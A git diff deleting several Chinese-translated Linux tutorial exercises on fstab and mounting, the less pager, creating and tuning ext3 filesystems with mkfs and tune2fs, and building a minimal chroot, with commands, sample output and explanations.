/etc/fstab: static file system information. -# -# Use 'blkid' to print the universally unique identifier for a -# device; this may be used with UUID= as a more robust way to name devices -# that works even if disks are added and removed. See fstab(5). -# -# -proc /proc proc defaults 0 0 -# / was on /dev/vda5 during installation -UUID=128559db-a2e0-4983-91ad-d4f43f27da49 / ext3 errors=remount-ro 0 1 -# /home was on /dev/vda10 during installation -UUID=32852d29-ddee-4a8d-9b1e-f46569a6b897 /home ext3 defaults 0 2 -# /tmp was on /dev/vda7 during installation -UUID=869db6b4-aea0-4a25-8bd2-f0b53dd7a88e /tmp ext3 defaults 0 2 -# /usr was on /dev/vda9 during installation -UUID=0221be16-496b-4277-b131-2371ce097b44 /usr ext3 defaults 0 2 -# /var was on /dev/vda8 during installation -UUID=2db00f94-3605-4229-8813-0ee23ad8634e /var ext3 defaults 0 2 -# swap was on /dev/vda6 during installation -UUID=3a936af2-2c04-466d-b98d-09eacc5d104c none swap sw 0 0 -/dev/scd0 /media/cdrom0 udf,iso9660 user,noauto 0 0 -``` - -看起来很恐怖,但让我们选取一行: - -``` -# -UUID=128559db-a2e0-4983-91ad-d4f43f27da49 / ext3 errors=remount-ro 0 1 -``` - -按照字段将其拆开。 - -``` -UUID=128559db-a2e0-4983-91ad-d4f43f27da49 # Filesystem to mount. This UUID is synonim for /dev/vda5 -/ # This is root filesystem, mount it to / -ext3 # This is ext3 filesystem. There are many different filesystems out there -errors=remount-ro # If any errors encountered during mounting filesystem should be remounted read-only -0 # This filesystem should not be backed up by dump utility -1 # This filesystem should be checked first by fsck utility -``` - -和之前一样,这些信息可以通过`man fstab`提供给你。现在我将向你展示使用现有文件系统的几个命令: - -+ `mount` - 打印出所有已挂载的文件系统。 -+ `mount -a` - 挂载`/etc/fstab`中描述的所有文件系统。 -+ `mount /dev/sda /` - 挂载分区。 -+ `umount /dev/sda /` - 解除挂载分区。 -+ `mount -h` - 打印出使用`mount`的简短帮助。 -+ `fsck` - 检查分区是否有错误。 -+ `blkid` - 打印出唯一的分区标识符。 - -现在,你将学习如何列出已安装的分区,挂载和解除挂载它们。 - -## 这样做 - -``` -1: cat /etc/fstab -2: mount -3: sudo blkid -4: sudo umount /tmp -5: mount -6: sudo fsck /tmp -7: sudo mount -a -8: mount -``` - -## 你会看到什么 - -``` -user1@vm1:~$ cat /etc/fstab -# /etc/fstab: static file system information. -# -# Use 'blkid' to print the universally unique identifier for a -# device; this may be used with UUID= as a more robust way to name devices -# that works even if disks are added and removed. See fstab(5). -# -# -proc /proc proc defaults 0 0 -# / was on /dev/sda1 during installation -UUID=05d469bb-dbfe-4d5a-9bb2-9c0fe9fa8577 / ext3 errors=remount-ro 0 1 -# /home was on /dev/sda9 during installation -UUID=a1b936a0-df38-4bf5-b095-6220ffdfc63c /home ext3 defaults 0 2 -# /tmp was on /dev/sda8 during installation -UUID=d0a86453-0dbb-4f33-a023-6c09fe9fa202 /tmp ext3 defaults 0 2 -# /usr was on /dev/sda5 during installation -UUID=b9544cbb-cdb6-4f3b-89e7-a339f52bfac7 /usr ext3 defaults 0 2 -# /var was on /dev/sda6 during installation -UUID=e15e713b-5850-4bc3-b99e-ab6f1d037caa /var ext3 defaults 0 2 -# swap was on /dev/sda7 during installation -UUID=4d516f09-80ff-4956-8a75-e9757697f6b1 none swap sw 0 0 -/dev/scd0 /media/cdrom0 udf,iso9660 user,noauto 0 0 -user1@vm1:~$ mount -/dev/sda1 on / type ext3 (rw,errors=remount-ro) -tmpfs on /lib/init/rw type tmpfs (rw,nosuid,mode=0755) -proc on /proc type proc (rw,noexec,nosuid,nodev) -sysfs on /sys type sysfs (rw,noexec,nosuid,nodev) -udev on /dev type tmpfs (rw,mode=0755) -tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev) -devpts on /dev/pts type devpts (rw,noexec,nosuid,gid=5,mode=620) -/dev/sda9 on /home type ext3 (rw) -/dev/sda5 on /usr type ext3 (rw) -/dev/sda6 on /var type ext3 (rw) -/dev/sda8 on /tmp type ext3 (rw) -/dev/sda8 on /tmp type ext3 (rw) -user1@vm1:~$ sudo blkid -/dev/sda1: UUID="05d469bb-dbfe-4d5a-9bb2-9c0fe9fa8577" TYPE="ext3" -/dev/sda5: UUID="b9544cbb-cdb6-4f3b-89e7-a339f52bfac7" TYPE="ext3" -/dev/sda6: UUID="e15e713b-5850-4bc3-b99e-ab6f1d037caa" TYPE="ext3" -/dev/sda7: UUID="4d516f09-80ff-4956-8a75-e9757697f6b1" TYPE="swap" -/dev/sda8: UUID="d0a86453-0dbb-4f33-a023-6c09fe9fa202" TYPE="ext3" -/dev/sda9: UUID="a1b936a0-df38-4bf5-b095-6220ffdfc63c" TYPE="ext3" -user1@vm1:~$ sudo umount /tmp -user1@vm1:~$ mount -/dev/sda1 on / type ext3 (rw,errors=remount-ro) -tmpfs on /lib/init/rw type tmpfs (rw,nosuid,mode=0755) -proc on /proc type proc (rw,noexec,nosuid,nodev) -sysfs on /sys type sysfs (rw,noexec,nosuid,nodev) -udev on /dev type tmpfs (rw,mode=0755) -tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev) -devpts on /dev/pts type devpts (rw,noexec,nosuid,gid=5,mode=620) -/dev/sda9 on /home type ext3 (rw) -/dev/sda5 on /usr type ext3 (rw) -/dev/sda6 on /var type ext3 (rw) -user1@vm1:~$ sudo fsck /tmp -fsck from util-linux-ng 2.17.2 -e2fsck 1.41.12 (17-May-2010) -/dev/sda8: clean, 11/61752 files, 13973/246784 blocks -user1@vm1:~$ sudo mount -a -user1@vm1:~$ mount -/dev/sda1 on / type ext3 (rw,errors=remount-ro) -tmpfs on /lib/init/rw type tmpfs (rw,nosuid,mode=0755) -proc on /proc type proc (rw,noexec,nosuid,nodev) -sysfs on /sys type sysfs (rw,noexec,nosuid,nodev) -udev on /dev type tmpfs (rw,mode=0755) -tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev) -devpts on /dev/pts type devpts (rw,noexec,nosuid,gid=5,mode=620) -/dev/sda9 on /home type ext3 (rw) -/dev/sda5 on /usr type ext3 (rw) -/dev/sda6 on /var type ext3 (rw) -/dev/sda8 on /tmp type ext3 (rw) -user1@vm1:~$ -``` - -## 解释 - -1. 打印你的`/etc/fstab`文件的内容,它包含分区信息以及挂载位置。 -1. 打印当前已挂载的分区。 -1. 打印系统中所有分区的 UUID。 -1. 解除挂载`/tmp`分区,以便你可以检查它。 -1. 再次打印出当前已挂载的分区。`/tmp`现在不存在于此列表中。 -1. 检查`/tmp`分区是否有错误。`fsck`通过读取相应的`/etc/fstab`条目知道要检查哪个分区。 -1. 挂载`/etc/fstab`中描述的所有分区。 -1. 再次打印当前已挂载的分区。`/tmp`已经返回了此列表。 - -## 附加题 - -+ 阅读`man fstab`, `man mount`。 -+ 阅读 。 diff --git a/docs/llthw-zh/ex2.md b/docs/llthw-zh/ex2.md deleted file mode 100644 index f0cb1a9f..00000000 --- a/docs/llthw-zh/ex2.md +++ /dev/null @@ -1,80 +0,0 @@ -# 练习 2:文本浏览器,少即是多 - -> 原文:[Exercise 2. Text Viewer, The: less is More](https://archive.fo/nFH4J) - -> 译者:[飞龙](https://github.com/wizardforcel) - -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) - -> 自豪地采用[谷歌翻译](https://translate.google.cn/) - -现在你可以编辑文本文件,这很好。但是如果你只想查看一个文本文件呢?当然,你可以使用 vim,但很多时候它是过度的。还有两件事要考虑: - -+ 如果你想查看非常大的文件,你将需要在尽可能快的程序中查看它。 -+ 通常你不想意外地改变文件中的某些东西。 - -所以,我向你介绍强大的`less`,少即是多。“比什么多呢?”你可能会问。嗯...有一次,有一个被称为`more`的浏览器。它很简单,只是向你显示你要求它显示的文本文件。它是如此简单,只能以一个方向显示文本文件,也就是向前。 马克·恩德尔曼(Mark Nudelman)发现它并不那么令人满意 ,1983 年至 1985 年,他编写了`less`。从那以后,它拥有了许多先进的功能。因为它比`more`更先进,一句话就诞生了:“少即是多,多即是少”。 - -好吧,让我们试试吧。 - -输入: - -``` -less .bashrc -``` - -你应该看到: - -``` -user1@vm1:~$ less .bashrc -# ~/.bashrc: executed by bash(1) for non-login shells. -# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc) -# for examples - -# If not running interactively, don't do anything -[ -z "$PS1" ] && return - -# don't put duplicate lines in the history. See bash(1) for more options -# don't overwrite GNU Midnight Commander's setting of `ignorespace'. -HISTCONTROL=$HISTCONTROL${HISTCONTROL+:}ignoredups -.bashrc -``` - -如果你的终端不是足够宽,文本将看起来像一团糟,因为它放不下整行。要修复它,请键入`- -ch`。是的,`dash-dash-ch-ENTER-ENTER`。这将开启水平滚动。 - -为了向上向下文浏览文字,使用已经熟悉的`j`和`k`。退出按`q`。 - -现在我将向你展示`less`的高级功能,这样你只能看到所需的那些行。键入`&enable`。你应该看到这个: - -``` -# enable color support of ls and also add hand -# enable programmable completion features (you -# this, if it's already enabled in /etc/bash.b -~ -~ -~ -~ -~ -~ -~ -~ -~ -~ -~ -~ -& (END) -``` - -注意看!为了移除过滤器,只需键入`&`。同样,要记住的命令: - -+ `j` - 向上移动 -+ `k` - 向下移动 -+ `q` - 退出`less`。 -+ `- -chop-long-lines或`- -ch` - 开启水平滚动。 -+ `/` - 搜索。 -+ `&something` - 只显示文件中包含某些内容的行。 - -## 附加题 - -+ Linux 具有在线手册,通过键入`man`来调用。默认情况下,在我们的系统中,本手册将使用`less`来查看。 键入`man man`并阅读,然后退出。 -+ 就是这样,没有更多的附加题了。 diff --git a/docs/llthw-zh/ex20.md b/docs/llthw-zh/ex20.md deleted file mode 100644 index cc87d8a8..00000000 --- a/docs/llthw-zh/ex20.md +++ /dev/null @@ -1,369 +0,0 @@ -# 练习 20:文件系统:修改和创建文件系统,`tune2fs`,`mkfs` - -> 原文:[Exercise 20. Filesystems: modifying and creating filesystems, tune2fs, mkfs](https://archive.fo/CzHiN) - -> 译者:[飞龙](https://github.com/wizardforcel) - -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) - -> 自豪地采用[谷歌翻译](https://translate.google.cn/) - -让我来介绍一下文件系统相关的术语: - -+ [文件系统](http://en.wikipedia.org/wiki/File_system) - 一种组织数据的方式,通过提供存储,检索和更新数据的过程,以及管理包含它的设备上的可用空间,数据预期在终止后保留。 -+ Inode - 索引节点是一种结构,存储文件系统对象(文件,目录等)的所有信息,除数据内容和文件名之外。 -+ 块 - 可以分配的最小块磁盘空间。它通常默认为 4096 字节,或 4 千字节。 -+ 日志 - 一种结构,允许文件系统跟踪什么时候写入了什么。这样可以快速了解在断电或类似问题时,未正确写入的内容。 - -接下来,让我给大家简要介绍文件系统的工作原理。为了按名称访问文件,Linux 内核将: - -+ 在包含该文件的目录中查找文件名。 -+ 获取文件 Inode 号。 -+ 通过 Inode 区域中的数字查找 Inode。 -+ 读取此 Inode 的数据块的位置。 -+ 使用这个位置在数据区域中从这个块读取文件。 - -现在,每个文件系统都有很多与之相关的选项。这些选项可以通过`tune2fs `程序查看和更改。这是一个带注解的`tune2fs -l /dev/sda8`的输出: - -``` -user1@vm1:~$ sudo tune2fs -l /dev/sda8 -tune2fs 1.41.12 (17-May-2010) -# 只是个标签,可以是任何东西,或者没有东西 -Filesystem volume name: -# 这里应该是最后的挂载点 -Last mounted on: -# 唯一的文件系统标识符 -Filesystem UUID: 869db6b4-aea0-4a25-8bd2-f0b53dd7a88e -# 已知位置的特殊数字,它定义了 FS 的类型,尝试这个: -# sudo dd if=/dev/sda8 of=/dev/stdout bs=1 skip=1080 count=2 | hexdump -C -Filesystem magic number: 0xEF53 -# FS 版本 -Filesystem revision #: 1 (dynamic) -# 启用的 FS 功能 -Filesystem features: - # 这是一个日志文件系统。日志文件系统是一个文件系统, - # 它跟踪日志中发生的变化(通常是一个循环日志, - # 在文件系统的特定位置),在提交给主文件系统之前。 - # 在系统崩溃或者断电的事件中,这种文件系统能够更快 - # 恢复,并且不可能毁坏。 - # http://en.wikipedia.org/wiki/Journaling_file_system - has_journal - # 拥有扩展属性,例如扩展的 ACL。 - ext_attr - # 为系统信息保留空间,这允许 FS 改变大小。 - resize_inode - # 使用索引来加速大目录中的查找。 - dir_index - # 在目录条目中储存文件类型信息。 - filetype - # 意思是需要运行 fsck。 - needs_recovery - # 更少的超级块备份,在大 FS 上节约空间。 - sparse_super - # 是否可以包含 > 2GB 的文件。在创建 >2GB 的文件时,内核会自动设置它。 - large_file -# dir_index 中使用哪个哈希 -Filesystem flags: signed_directory_hash -# 挂载时使用什么选项 -Default mount options: (none) -# 是否需要执行 fsck -Filesystem state: clean -# 错误时做什么:继续,以只读方式重新挂载,或者报错? -Errors behavior: Continue -# 哪个 OS 使用这个 FS -Filesystem OS type: Linux -# 索引节点总数。索引节点就是 "inode"。它的结构是: -# 储存所有文件系统对象(文件、目录,以及其他)的信息 -# 除了文件内容和文件名称。也就是说, -# 你的文件数量不能多于索引节点数量。 -# 这就是索引节点结构,它描述了里面储存了什么信息: -#/* 出现在 Inode 表中的 Inode 结构 */ -#struct dinode -#{ ushort di_mode; /* mode and type of file */ -# short di_nlink; /* number of links to file */ -# ushort di_uid; /* owner's user id */ -# ushort di_gid; /* owner's group id */ -# off_t di_size; /* number of bytes in file */ -# char di_addr[39]; /* disk block addresses */ -# char di_gen; /* file generation number */ -# time_t di_atime; /* time last accessed */ -# time_t di_mtime; /* time last modified */ -# time_t di_ctime; /* time created */ -#}; -# 这里也有很好的解释: -# http://support.tux4u.nl/dokuwiki/lib/exe/fetch.php?media=linux:disk_bestandssysteem:inode.pdf -Inode count: 62464 -# 当前有多少空闲节点 -Free inodes: 62452 -# 设备上的第一个块。由于每个分区都表示为单独的设备, -# 它设为 0。 -First block: 0 -# 这是文件系统中,第一个索引节点的节点号。 -First inode: 11 -# 索引节点的大小,以字节为单位。在新的 Linux 发行版中,这有时会默认增加, -# 为了允许文件中扩展属性的存储,例如,微秒时间戳。 -Inode size: 256 -# 添加索引节点字段所需的空间 -Required extra isize: 28 -# 添加索引节点字段要求的空间。不重要,因为这个大小 -# 任何时候都是所需空间 -Desired extra isize: 28 -# 一个隐形节点,它储存文件系统的日志。 -Journal inode: 8 -# 块的总数。块是磁盘空间可分配的最小单位。 -# 你可以使用下面的公式,以 GB 计算分区大小: -# 块的数量 * 块的大小 -# ------------------------ -# 1024^3 -Block count: 249856 -# 有多少块为超极用户保留。普通用户不能使用这个 -# 保留空间。这是为了使系统保持运行,以防一些流氓软件 -# 决定塞满所有可用的磁盘空间。 -Reserved block count: 12492 -# 当前有多少块是空闲的。 -Free blocks: 241518 -# 用于目录索引(dir_index)的算法。 -Default directory hash: half_md4 -# 目前为止,我可以说,这是用于 dir_index 哈希算法的种子值。 -Directory Hash Seed: d02c6099-bd06-4d29-a3d7-779df2aa2410 -# 日志备份选项。 -Journal backup: inode blocks # -# 块的大小,以字节为单位。4096 字节就是 4 KB。 -Block size: 4096 -# 在 ex3 FS 中未实现。这是一个特性,它能够在一个块中写入多个小文件, -# 来节约空间。 -Fragment size: 4096 -# 保留的控件,所以组描述符表可能在未来会增长。 -Reserved GDT blocks: 60 -# 每个块组的块数量。块组包含文件系统重要的控制信息的冗余副本。 -# (超级块和文件描述符),并包含一部分文件系统contains a -# (块的位图,索引节点的位图,一部分索引节点表,以及数据块)。 -# 块组的结构在下表中展示: -#,---------+---------+---------+---------+---------+---------, -#| 超级 | FS | 块的 | Inode | Inode | 数据 | -#| 块 | 描述符 | 位图 | 位图 | 表 | 块 | -#`---------+---------+---------+---------+---------+---------' -# http://tldp.org/HOWTO/Filesystems-HOWTO-6.html -Blocks per group: 32768 -# 每个组的片段数量。因为 ext3 FS 中没有片段, -# 这等于每个组的块数量。 -Fragments per group: 32768 -# 每个组的索引节点数量。 -Inodes per group: 7808 -# 每个组的索引节点块。索引节点块是一个表的索引, -# 描述了所有文件属性,除了文件名称。它拥有数据块的索引。 -# 数据块包含文件真实内容。 -# http://www.porcupine.org/forensics/forensic-discovery/chapter3.html -Inode blocks per group: 488 -# FS 的创建时间。 -Filesystem created: Mon Jul 2 06:16:24 2012 -# 最后的 FS 挂载时间。 -Last mount time: Mon Jul 2 06:57:21 2012 -# 最后的 FS 写入时间。 -Last write time: Mon Jul 2 06:57:21 2012 -# FS 的挂载次数。 -Mount count: 6 -# 自动检查前的次数。如果文件系统的挂载次数是这个 -# 或者检查间隔到了,那么 FS 会自动检查。 -Maximum mount count: 34 -# 最后的 fsck 执行时间 -Last checked: Mon Jul 2 06:16:24 2012 -# 下一个 FS 检查间隔. 如果这个间隔到了, -# 或者到达了最大挂载数,FS 会自动检查。 -Check interval: 15552000 (6 months) -# 下一个 FS 检查间隔,以人类可读的格式。 -Next check after: Sat Dec 29 05:16:24 2012 -# 能够使用保留空间的用户的用户 ID。 -# 它默认是 root 用户(超级用户) -Reserved blocks uid: 0 (user root) -# 能够使用保留空间的用户的组 ID。 -# 它默认是 root 组 -Reserved blocks gid: 0 (group root) -``` - -很可怕,是嘛?实际上你会发现,这个描述中只有几个参数实际上是有用的,它们是: - -+ 保留块数量。 -+ 最大挂载数。 -+ 检查间隔。 - -通常你不需要修改其他参数,默认情况下它们是正常的。以下是使用文件系统的命令列表: - -+ `mkfs.ext3` - 创建一个`ext3`文件系统。如果在具有现有文件系统的设备上执行此命令,则该文件系统将被销毁,因此请小心。 -+ `mkfs.ext4` - 创建一个`ext4`文件系统。这其实是相同的程序,尝试`sudo find /sbin -samefile sbin/mkfs.ext3`。 -+ `tune2fs` - 打印并更改文件系统参数。 - -现在,你将学习如何创建新的文件系统并修改其参数。 - -## 这样做 - -``` -1: sudo -s -2: umount /tmp -3: blkid | grep /dev/sda8 -4: mkfs.ext3 /dev/sda8 -5: blkid | grep /dev/sda8 -6: blkid | grep /dev/sda8 >> /etc/fstab -7: vim /etc/fstab -``` - -现在你必须将`/tmp`那一行的 UUID。 - -``` -# /tmp was on /dev/sda8 during installation -UUID=869db6b4-aea0-4a25-8bd2-f0b53dd7a88e /tmp ext3 defaults 0 2 -``` - -替换为你添加到文件末尾的那个: - -``` -/dev/sda8: UUID="53eed507-18e8-4f71-9003-bcea8c4fd2dd" TYPE="ext3" SEC_TYPE="ext2" -``` - -因为根据定义,你的 UUID 必须跟我的不同。在替换 UUID,编写文件,退出之后,继续并输入: - -``` - 8: mount /tmp - 9: tune2fs -c 2 /dev/sda8 -10: unmount /tmp -11: fsck /tmp -12: for ((i=1;i<=4;i++)); do mount /tmp ; umount /tmp ; cat /var/log/messages | tail -n 4 ; done -13: fsck /tmp -14: mount -a -``` - -## 你会看到什么 - -``` -user1@vm1:~$ sudo -s -root@vm1:/home/user1# umount /tmp -root@vm1:/home/user1# blkid | grep /dev/sda8 -/dev/sda8: UUID="869db6b4-aea0-4a25-8bd2-f0b53dd7a88e" TYPE="ext3" SEC_TYPE="ext2" -root@vm1:/home/user1# mkfs.ext3 /dev/sda8 -mke2fs 1.41.12 (17-May-2010) -Filesystem label= -OS type: Linux -Block size=4096 (log=2) -Fragment size=4096 (log=2) -Stride=0 blocks, Stripe width=0 blocks -62464 inodes, 249856 blocks -12492 blocks (5.00%) reserved for the super user -First data block=0 -Maximum filesystem blocks=255852544 -8 block groups -32768 blocks per group, 32768 fragments per group -7808 inodes per group -Superblock backups stored on blocks: - 32768, 98304, 163840, 229376 - -Writing inode tables: done -Creating journal (4096 blocks): done -Writing superblocks and filesystem accounting information: done - -This filesystem will be automatically checked every 28 mounts or -180 days, whichever comes first. Use tune2fs -c or -i to override. -root@vm1:/home/user1# blkid | grep /dev/sda8 -/dev/sda8: UUID="53eed507-18e8-4f71-9003-bcea8c4fd2dd" TYPE="ext3" SEC_TYPE="ext2" -root@vm1:/home/user1# blkid | grep /dev/sda8 >> /etc/fstab -root@vm1:/home/user1# vim /etc/fstab -# that works even if disks are added and removed. See fstab(5). -# -# -proc /proc proc defaults 0 0 -# / was on /dev/vda5 during installation -UUID=128559db-a2e0-4983-91ad-d4f43f27da49 / ext3 errors=re -# /home was on /dev/vda10 during installation -UUID=32852d29-ddee-4a8d-9b1e-f46569a6b897 /home ext3 defaults -# /tmp was on /dev/sda8 during installation -UUID=869db6b4-aea0-4a25-8bd2-f0b53dd7a88e /tmp ext3 defaults -# /usr was on /dev/vda9 during installation -UUID=0221be16-496b-4277-b131-2371ce097b44 /usr ext3 defaults -# /var was on /dev/vda8 during installation -UUID=2db00f94-3605-4229-8813-0ee23ad8634e /var ext3 defaults -# swap was on /dev/vda6 during installation -UUID=3a936af2-2c04-466d-b98d-09eacc5d104c none swap sw -/dev/scd0 /media/cdrom0 udf,iso9660 user,noauto 0 0 -/dev/sda8: UUID="53eed507-18e8-4f71-9003-bcea8c4fd2dd" TYPE="ext3" SEC_TYPE - 22,1 Bot - -# -# -proc /proc proc defaults 0 0 -# / was on /dev/vda5 during installation -UUID=128559db-a2e0-4983-91ad-d4f43f27da49 / ext3 errors=re -# /home was on /dev/vda10 during installation -UUID=32852d29-ddee-4a8d-9b1e-f46569a6b897 /home ext3 defaults -# /tmp was on /dev/sda8 during installation -UUID=53eed507-18e8-4f71-9003-bcea8c4fd2dd /tmp ext3 defaults -# /usr was on /dev/vda9 during installation -UUID=0221be16-496b-4277-b131-2371ce097b44 /usr ext3 defaults -# /var was on /dev/vda8 during installation -UUID=2db00f94-3605-4229-8813-0ee23ad8634e /var ext3 defaults - -# swap was on /dev/vda6 during installation -UUID=3a936af2-2c04-466d-b98d-09eacc5d104c none swap sw -/dev/scd0 /media/cdrom0 udf,iso9660 user,noauto 0 0 -"/etc/fstab" 22L, 1277C written -root@vm1:/home/user1# mount /tmp -root@vm1:/home/user1# tune2fs -c 2 /dev/sda8 -tune2fs 1.41.12 (17-May-2010) -Setting maximal mount count to 2 -root@vm1:/home/user1# unmount /tmp -root@vm1:/home/user1# fsck /tmp -fsck from util-linux-ng 2.17.2 -e2fsck 1.41.12 (17-May-2010) -/dev/sda8: clean, 11/62464 files, 8337/249856 blocks (check in 2 mounts) -root@vm1:/home/user1# for ((i=1;i<=4;i++)); do mount /tmp ; umount /tmp ; cat /var/log/messages | tail -n 4 ; done -Jul 2 12:11:43 vm1 kernel: [21080.920658] EXT3-fs: mounted filesystem with ordered data mode. -Jul 2 12:11:58 vm1 kernel: [21096.363787] kjournald starting. Commit interval 5 seconds -Jul 2 12:11:58 vm1 kernel: [21096.364167] EXT3 FS on sda8, internal journal -Jul 2 12:11:58 vm1 kernel: [21096.364171] EXT3-fs: mounted filesystem with ordered data mode. -Jul 2 12:11:58 vm1 kernel: [21096.364171] EXT3-fs: mounted filesystem with ordered data mode. -Jul 2 12:11:58 vm1 kernel: [21096.381372] kjournald starting. Commit interval 5 seconds -Jul 2 12:11:58 vm1 kernel: [21096.381539] EXT3 FS on sda8, internal journal -Jul 2 12:11:58 vm1 kernel: [21096.381542] EXT3-fs: mounted filesystem with ordered data mode. -Jul 2 12:11:58 vm1 kernel: [21096.396152] kjournald starting. Commit interval 5 seconds -Jul 2 12:11:58 vm1 kernel: [21096.396158] EXT3-fs warning: maximal mount count reached, running e2fsck is recommended -Jul 2 12:11:58 vm1 kernel: [21096.396344] EXT3 FS on sda8, internal journal -Jul 2 12:11:58 vm1 kernel: [21096.396348] EXT3-fs: mounted filesystem with ordered data mode. -Jul 2 12:11:58 vm1 kernel: [21096.412434] kjournald starting. Commit interval 5 seconds -Jul 2 12:11:58 vm1 kernel: [21096.412441] EXT3-fs warning: maximal mount count reached, running e2fsck is recommended -Jul 2 12:11:58 vm1 kernel: [21096.412610] EXT3 FS on sda8, internal journal -Jul 2 12:11:58 vm1 kernel: [21096.412612] EXT3-fs: mounted filesystem with ordered data mode. -root@vm1:/home/user1# fsck /tmp -fsck from util-linux-ng 2.17.2 -e2fsck 1.41.12 (17-May-2010) -/dev/sda8 has been mounted 4 times without being checked, check forced. -Pass 1: Checking inodes, blocks, and sizes -Pass 2: Checking directory structure -Pass 3: Checking directory connectivity -Pass 4: Checking reference counts -Pass 5: Checking group summary information -/dev/sda8: 11/62464 files (0.0% non-contiguous), 8337/249856 blocks -root@vm1:/home/user1# mount -a -root@vm1:/home/user1# -``` - -## 解释 - -1. 执行 root(超级用户)shell。 -1. 解除挂载`/tmp`,从`/etc/fstab`读取它的位置 。 -1. 打印出`/dev/sda8`的UUID,`/dev/sda8`是挂载在`/tmp`上的文件系统。 -1. 在`/dev/sda8`上创建一个新的文件系统。 -1. 再次打印出`/dev/sda8`的 UUID,注意如何变化,因为你创建了一个新的文件系统。 -1. 将此 UUID 附加到`/etc/fstab`。 -1. 打开`/etc/fstab`进行编辑。 -1. 挂载新创建的文件系统。这实际上是一个检查,是否你已经正确替换了 UUID,如果不是会有一个错误消息。 -1. 设置每两次挂载检查`/dev/sda8`。 -1. 解除挂载`/dev/sda8`。 -1. 检查`/dev/sda8`。 -1. 挂载,接触挂载`/dev/sda8`, 并连续四次向你展示`/var/log/messages/`的最后4 行。请注意,从第三次开始,挂载系统通知你 需要运行`e2fsck`。如果你重新启动系统,它将为你运行`e2fsck`。 -1. 检查`/dev/sda8`。`fsck`确定文件系统类型并自动调用`e2fsck`。 -1. 挂载所有文件系统。如果没有错误,你已经完成了这个练习。 - -## 附加题 - -+ 阅读`man mkfs`,`man mkfs.ext3`,`man tune2fs`。 -+ 阅读页面顶部的`tune2fs -l`列表,并为你的所有文件系统读取幻数。 -+ 手动计算文件系统的大小,使用在`tune2fs -l`列表的块描述中提供的公式。 -+ 阅读这个幻灯片,并完成它展示的东西:。 diff --git a/docs/llthw-zh/ex21.md b/docs/llthw-zh/ex21.md deleted file mode 100644 index 7cb3e4b8..00000000 --- a/docs/llthw-zh/ex21.md +++ /dev/null @@ -1,87 +0,0 @@ -# 练习 21:文件系统:修改根目录,`chroot` - -> 原文:[Exercise 21. Filesystems: changing root directory, chroot](https://archive.fo/h9FWU) - -> 译者:[飞龙](https://github.com/wizardforcel) - -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) - -> 自豪地采用[谷歌翻译](https://translate.google.cn/) - -让我从另一个[维基百科](http://en.wikipedia.org/wiki/Chroot)的引用开始: - -> Unix 操作系统上的`chroot`是一个操作,可以为当前正在运行的进程及其进程修改根目录。在这种修改后的环境中运行的程序,不能指定(也就是访问)这个特定目录树之外的文件。术语`chroot`可以指`chroot(2)`系统调用或`chroot(8)`包装程序。修改后的环境称为`chroot`监牢。 - -这意味着你可以创建一个目录(例如`/opt/root`),将必要的程序复制到那里并执行此程序。对于这样的程序,`/opt/root/`就是根目录`/`。要了解为什么你需要这样,请阅读维基百科[`chroot`](http://en.wikipedia.org/wiki/Chroot%23Uses)文章。 - -这是练习的时候了。你现在将使用 bash 创建一个最小的`chroot`环境。为此,你将创建一个目录结构,并将 bash 及其依赖项复制到其中。 - -现在,你将学习如何创建一个`chroot`环境并进入它。 - -## 这样做 - -``` - 1: sudo -s - 2: ldd /bin/bash - 3: mkdir -vp /opt/root/bin - 4: mkdir -v /opt/root/lib - 5: mkdir -v /opt/root/lib64 - 6: cp -v /bin/bash /opt/root/bin/ - 7: cp -v /lib/libncurses.so.5 /opt/root/lib/ - 8: cp -v /lib/libdl.so.2 /opt/root/lib - 9: cp -v /lib/libc.so.6 /opt/root/lib -10: cp -v /lib64/ld-linux-x86-64.so.2 /opt/root/lib64 -11: chroot /opt/root/ -``` - -哇哦,你为你自己创建了一个 Linux,某种程度上是这样。 - -## 你会看到什么 - -``` -user1@vm1:/opt~ sudo -s -root@vm1:/opt# ldd /bin/bash - linux-vdso.so.1 => (0x00007fff17bff000) - libncurses.so.5 => /lib/libncurses.so.5 (0x00007f4b1edc6000) - libdl.so.2 => /lib/libdl.so.2 (0x00007f4b1ebc2000) - libc.so.6 => /lib/libc.so.6 (0x00007f4b1e85f000) - /lib64/ld-linux-x86-64.so.2 (0x00007f4b1f012000) -root@vm1:/opt# mkdir -vp /opt/root/bin -mkdir: created directory `/opt/root' -mkdir: created directory `/opt/root/bin' -root@vm1:/opt# mkdir -v /opt/root/lib -mkdir: created directory `/opt/root/lib' -root@vm1:/opt# mkdir -v /opt/root/lib64 -mkdir: created directory `/opt/root/lib64' -root@vm1:/opt# cp -v /bin/bash /opt/root/bin/ -`/bin/bash' -> `/opt/root/bin/bash' -root@vm1:/opt# cp -v /lib/libncurses.so.5 /opt/root/lib/ -`/lib/libncurses.so.5' -> `/opt/root/lib/libncurses.so.5' -root@vm1:/opt# cp -v /lib/libdl.so.2 /opt/root/lib -`/lib/libdl.so.2' -> `/opt/root/lib/libdl.so.2' -root@vm1:/opt# cp -v /lib/libc.so.6 /opt/root/lib -`/lib/libc.so.6' -> `/opt/root/lib/libc.so.6' -root@vm1:/opt# cp -v /lib64/ld-linux-x86-64.so.2 /opt/root/lib64 -`/lib64/ld-linux-x86-64.so.2' -> `/opt/root/lib64/ld-linux-x86-64.so.2' -root@vm1:/opt# chroot /opt/root/ -``` - -## 解释 - -1. 作为超级用户(root)执行 bash。 -1. 打印出 bash 需要的的库。 -1. 在一个命令中创建`/opt/root/`和`/opt/root/bin/`目录。很帅吧? -1. 创建`/opt/root/lib`目录。 -1. 创建`/opt/root/lib64`目录。 -1. 将`/bin/bash`复制到`/opt/root/bin/`。 -1. 将`/lib/libncurses.so.5`复制到`/opt/root/lib/`。 -1. 将`/lib/libdl.so.2`复制到`/opt/root/lib/`。 -1. 将`/lib/libc.so.6`复制到`/opt/root/lib/`。 -1. 将`/lib64/ld-linux-x86-64.so.2`复制到`/opt/root/lib64/`。 -1. 将根目录更改为`/opt/root/`。 - -## 附加题 - -+ 阅读`man chroot`,`man ldd`。 -+ 将`ls`命令复制到你的`chroot`并使其正常工作。 -+ 